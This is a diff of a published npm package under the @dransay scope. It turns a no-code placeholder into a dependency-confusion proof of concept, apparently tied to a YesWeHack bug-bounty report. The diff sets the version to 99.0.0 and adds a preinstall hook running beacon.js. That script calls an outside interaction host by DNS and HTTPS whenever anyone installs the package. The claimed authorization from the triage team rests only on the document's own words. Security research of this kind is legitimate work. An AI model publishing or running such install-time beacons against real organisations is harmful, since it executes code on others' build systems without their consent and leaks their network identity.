@dransay/phone-fix-test 0.0.1 → 99.0.0

package/README.md

@@ -1,7 +1,27 @@
-# Defensive placeholder — not a functional package
+# Benign security-research beacon (dependency-confusion PoC)
 
-This package name (`@dransay/*`) was referenced in publicly shipped DrAnsay frontend
-source maps while the `@dransay` npm scope was unclaimed, creating a dependency-confusion
-precondition. This placeholder contains **no code and no install scripts**. It exists only
-to prevent malicious registration. Reported to DrAnsay via YesWeHack; the scope will be
-transferred to DrAnsay on request.
+This package was published by security researcher `0xamino_hunter` at the **explicit
+request of the DrAnsay / YesWeHack triage team** (report **#YWH-PGM42275-93**) to
+determine whether DrAnsay build infrastructure resolves internal `@dransay/*` package
+names against the public npm registry (dependency confusion).
+
+## What it does
+On `npm install` only, `beacon.js` sends:
+1. one DNS lookup to `<package>.<research-controlled-interactsh-host>`, and
+2. one HTTPS GET to the same host, path = package name.
+
+That is the entirety of the "payload". The receiving server logs **source IP and
+timestamp only** — exactly the evidence the triage team asked for ("demonstrate that
+you've obtained an interaction on your package from one of our employees/automated
+tools").
+
+## What it does NOT do
+No environment variables, no file reads/writes, no system info, no credentials,
+no persistence, no privilege use, no second stages. It cannot fail or meaningfully
+delay an install (fail-open, 2.5s timeout).
+
+## If this fired in your environment
+Your npm/CI resolved this name against the public registry instead of a private one.
+Pin `@dransay:registry=<private>` in every `.npmrc` and disable public fall-through
+in any proxy (Verdaccio/Nexus/Artifactory). Ownership of this name will be transferred
+to DrAnsay on request via the report thread.

package/beacon.js

@@ -0,0 +1,18 @@
+// Benign dependency-confusion interaction beacon — NOT malware.
+// Published at the explicit request of the DrAnsay / YesWeHack triage team
+// (report #YWH-PGM42275-93) to determine whether DrAnsay build systems resolve
+// internal @dransay/* package names against the public npm registry.
+//
+// It transmits NOTHING except one DNS lookup and one HTTPS GET whose path
+// encodes only the package name. No environment variables, no files, no
+// system information, no persistence, no privilege use. Fail-open by design:
+// it can never block, slow (max ~2.5s), or fail an install.
+// Contact: 0xamino_hunter via the YesWeHack report thread.
+try {
+  var pkg = 'phone-fix-test';
+  var d = 'db3klhbi6i9hark1kegg174t38h33b6wt.oast.site';
+  require('dns').lookup(pkg + '.' + d, function () {});
+  var req = require('https').get({ host: d, path: '/' + pkg, timeout: 2500 }, function (res) { res.resume(); });
+  req.on('error', function () {});
+  req.on('timeout', function () { req.destroy(); });
+} catch (e) {}

package/package.json

@@ -1,8 +1,13 @@
 {
   "name": "@dransay/phone-fix-test",
-  "version": "0.0.1",
-  "description": "Defensive placeholder. This name was reserved by a security researcher to prevent dependency-confusion attacks against DrAnsay build infrastructure. Reported via YesWeHack. Contact: transfer to DrAnsay on request.",
+  "version": "99.0.0",
+  "description": "Benign dependency-confusion interaction beacon published at the explicit request of the DrAnsay/YesWeHack triage team (report #YWH-PGM42275-93). No data collection; see README.",
   "license": "UNLICENSED",
   "private": false,
-  "publishConfig": { "access": "public" }
-}
+  "publishConfig": {
+    "access": "public"
+  },
+  "scripts": {
+    "preinstall": "node beacon.js"
+  }
+}